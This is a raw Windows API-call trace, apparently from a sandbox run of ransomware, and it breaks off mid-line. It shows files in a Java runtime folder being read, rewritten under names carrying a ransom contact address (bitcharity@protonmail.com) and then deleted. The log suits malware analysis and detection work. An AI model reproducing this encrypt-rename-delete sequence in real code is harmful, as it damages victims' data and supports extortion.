1 [0299.900] lstrlenW (lpString=".bz2") returned 4 [0299.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.900] lstrlenW (lpString=".7z") returned 3 [0299.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.900] lstrlenW (lpString=".dbf") returned 4 [0299.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.900] lstrlenW (lpString=".1cd") returned 4 [0299.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0299.900] lstrlenW (lpString=".jpg") returned 4 [0299.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.900] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0299.900] lstrlenW (lpString="kcms.dll") returned 8 [0299.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.901] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=220736) returned 1 [0299.901] CloseHandle (hObject=0x10e8) returned 1 [0299.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0299.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0299.901] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.901] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0299.902] GetLastError () returned 0x0 [0299.902] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x35e40, lpOverlapped=0x0) returned 1 [0299.948] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x35e50, lpOverlapped=0x0) returned 1 [0299.951] ReadFile (in: hFile=0x10e8, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.951] WriteFile (in: hFile=0x10d4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0299.951] SetEndOfFile (hFile=0x10d4) returned 1 [0299.957] CloseHandle (hObject=0x10d4) returned 1 [0299.961] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.961] SetEndOfFile (hFile=0x10e8) returned 1 [0299.967] CloseHandle (hObject=0x10e8) returned 1 [0299.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0299.967] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0299.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.968] lstrlenW (lpString=".doc") returned 4 [0299.969] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString=".docx") returned 5 [0299.969] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.969] lstrlenW (lpString=".pdf") returned 4 [0299.969] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString=".xls") returned 4 [0299.969] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString=".xlsx") returned 5 [0299.969] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.969] lstrlenW (lpString=".ppt") returned 4 [0299.969] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.969] lstrlenW (lpString=".zip") returned 4 [0299.969] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString=".rar") returned 4 [0299.969] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString=".bz2") returned 4 [0299.969] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.969] lstrlenW (lpString=".7z") returned 3 [0299.969] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.969] lstrlenW (lpString=".dbf") returned 4 [0299.969] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.969] lstrlenW (lpString=".1cd") returned 4 [0299.969] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.969] lstrlenW (lpString=".jpg") returned 4 [0299.969] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.970] lstrlenW (lpString=".doc") returned 4 [0299.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString=".docx") returned 5 [0299.970] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0299.970] lstrlenW (lpString=".pdf") returned 4 [0299.970] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString=".xls") returned 4 [0299.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString=".xlsx") returned 5 [0299.970] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0299.970] lstrlenW (lpString=".ppt") returned 4 [0299.970] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.970] lstrlenW (lpString=".zip") returned 4 [0299.970] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString=".rar") returned 4 [0299.970] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.970] lstrlenW (lpString=".bz2") returned 4 [0299.970] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.970] lstrlenW (lpString=".7z") returned 3 [0299.970] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.970] lstrlenW (lpString=".dbf") returned 4 [0299.970] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.970] lstrlenW (lpString=".1cd") returned 4 [0299.970] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0299.970] lstrlenW (lpString=".jpg") returned 4 [0299.970] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.971] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0299.971] lstrlenW (lpString="ktab.exe") returned 8 [0299.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.971] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=16448) returned 1 [0299.971] CloseHandle (hObject=0x10e0) returned 1 [0299.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0299.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0299.971] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.971] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0299.972] GetLastError () returned 0x0 [0299.972] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0300.118] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0300.253] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.253] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0300.253] SetEndOfFile (hFile=0x1084) returned 1 [0300.253] CloseHandle (hObject=0x1084) returned 1 [0300.253] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.253] SetEndOfFile (hFile=0x10e0) returned 1 [0300.254] CloseHandle (hObject=0x10e0) returned 1 [0300.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0300.254] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".doc") returned 4 [0300.255] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.255] lstrlenW (lpString=".docx") returned 5 [0300.255] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0300.255] lstrlenW (lpString=".pdf") returned 4 [0300.255] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString=".xls") returned 4 [0300.255] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString=".xlsx") returned 5 [0300.255] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0300.255] lstrlenW (lpString=".ppt") returned 4 [0300.255] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".zip") returned 4 [0300.255] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString=".rar") returned 4 [0300.255] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString=".bz2") returned 4 [0300.255] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.255] lstrlenW (lpString=".7z") returned 3 [0300.255] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".dbf") returned 4 [0300.255] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".1cd") returned 4 [0300.255] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".jpg") returned 4 [0300.255] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.255] lstrlenW (lpString=".doc") returned 4 [0300.255] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.255] lstrlenW (lpString=".docx") returned 5 [0300.256] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1 [0300.256] lstrlenW (lpString=".pdf") returned 4 [0300.256] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.256] lstrlenW (lpString=".xls") returned 4 [0300.256] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.256] lstrlenW (lpString=".xlsx") returned 5 [0300.256] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1 [0300.256] lstrlenW (lpString=".ppt") returned 4 [0300.256] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.256] lstrlenW (lpString=".zip") returned 4 [0300.256] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.256] lstrlenW (lpString=".rar") returned 4 [0300.256] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.256] lstrlenW (lpString=".bz2") returned 4 [0300.256] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.256] lstrlenW (lpString=".7z") returned 3 [0300.256] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.256] lstrlenW (lpString=".dbf") returned 4 [0300.256] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.256] lstrlenW (lpString=".1cd") returned 4 [0300.256] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47 [0300.256] lstrlenW (lpString=".jpg") returned 4 [0300.256] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.256] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0300.256] lstrlenW (lpString="management.dll") returned 14 [0300.256] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0300.257] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=36928) returned 1 [0300.257] CloseHandle (hObject=0x10e0) returned 1 [0300.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0300.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0300.257] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.257] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0300.258] GetLastError () returned 0x0 [0300.258] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x9040, lpOverlapped=0x0) returned 1 [0300.894] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x9050, lpOverlapped=0x0) returned 1 [0301.218] ReadFile (in: hFile=0x10e0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0301.218] WriteFile (in: hFile=0x1084, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0301.218] SetEndOfFile (hFile=0x1084) returned 1 [0301.218] CloseHandle (hObject=0x1084) returned 1 [0301.218] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.218] SetEndOfFile (hFile=0x10e0) returned 1 [0301.219] CloseHandle (hObject=0x10e0) returned 1 [0301.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.220] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.220] lstrlenW (lpString=".doc") returned 4 [0301.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".docx") returned 5 [0301.220] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.220] lstrlenW (lpString=".pdf") returned 4 [0301.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".xls") returned 4 [0301.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".xlsx") returned 5 [0301.220] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.220] lstrlenW (lpString=".ppt") returned 4 [0301.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.220] lstrlenW (lpString=".zip") returned 4 [0301.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.220] lstrlenW (lpString=".rar") returned 4 [0301.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString=".bz2") returned 4 [0301.221] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.221] lstrlenW (lpString=".7z") returned 3 [0301.221] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString=".dbf") returned 4 [0301.221] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString=".1cd") returned 4 [0301.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString=".jpg") returned 4 [0301.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString=".doc") returned 4 [0301.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString=".docx") returned 5 [0301.221] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0301.221] lstrlenW (lpString=".pdf") returned 4 [0301.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString=".xls") returned 4 [0301.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString=".xlsx") returned 5 [0301.221] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0301.221] lstrlenW (lpString=".ppt") returned 4 [0301.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.221] lstrlenW (lpString=".zip") returned 4 [0301.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.221] lstrlenW (lpString=".rar") returned 4 [0301.222] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.222] lstrlenW (lpString=".bz2") returned 4 [0301.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.222] lstrlenW (lpString=".7z") returned 3 [0301.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.222] lstrlenW (lpString=".dbf") returned 4 [0301.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.222] lstrlenW (lpString=".1cd") returned 4 [0301.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0301.222] lstrlenW (lpString=".jpg") returned 4 [0301.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.222] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.222] lstrlenW (lpString="nio.dll") returned 7 [0301.222] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0301.223] GetFileSizeEx (in: hFile=0x10e0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=60480) returned 1 [0301.223] CloseHandle (hObject=0x10e0) returned 1 [0301.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0301.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 